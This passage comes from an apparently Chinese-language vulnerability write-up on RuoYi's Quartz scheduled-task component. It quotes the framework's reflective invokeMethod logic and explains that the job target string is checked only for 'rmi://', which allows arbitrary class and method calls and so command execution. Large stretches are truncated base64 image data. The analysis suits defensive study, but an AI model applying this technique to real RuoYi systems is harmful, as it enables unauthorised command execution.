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
在调用过程中，会发现在<code>com.ruoyi.quartz.util.JobInvokeUtil</code>类中存在两个名为<code>invokeMethod</code>的方法，并前后各调用了一次</p>
<p blockindex=11><img src="data:image/png;base64,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
<p blockindex=12>在第一个<code>invokeMethod</code>方法中对调用目标字符串的类型进行判断，判断是Bean还是Class。然后调用第二个<code>invokeMethod</code>方法</p>
<ul blockindex=13>
<li>bean就通过getBean()直接获取bean的实例</li>
<li>类名就通过反射获取类的实例</li>
</ul>
<pre blockindex=14><code class="hljs language-java"><span class=hljs-keyword>if</span> (!isValidClassName(beanName)){
&nbsp; &nbsp;Object bean = SpringUtils.getBean(beanName);
&nbsp; &nbsp;invokeMethod(bean, methodName, methodParams);
}
<span class=hljs-keyword>else</span>
{
&nbsp; &nbsp;Object bean = Class.forName(beanName).newInstance();
&nbsp; &nbsp;invokeMethod(bean, methodName, methodParams);
}
</code></pre>
<p blockindex=15>第二个<code>invokeMethod</code>这个方法通过反射来加载测试类</p>
<pre blockindex=16><code class="hljs language-java"><span class=hljs-keyword>if</span> (StringUtils.isNotNull(methodParams) &amp;&amp; methodParams.size() &gt; <span class=hljs-number>0</span>){
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
method.invoke(bean, getMethodParamsValue(methodParams));
}
</code></pre>
<p blockindex=17>这大概就是定时任务加载类的逻辑</p>
<h2 blockindex=18>漏洞成因</h2>
<p blockindex=19>接着我们新增一个定时任务，看看在创建的过程中对调用目标字符串做了哪些处理</p>
<p blockindex=20>抓包可以看到直接调用了<code>/monitor/job/add</code>这个接口</p>
<p blockindex=21><img src=data:image/png;base64,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
<p blockindex=22>可以看到就只是判断了一下，目标字符串是否包含<code>rmi://</code>，这就导致导致攻击者可以调用任意类、方法及参数触发反射执行命令。</p>
<p blockindex=23><img src="data:image/png;base64,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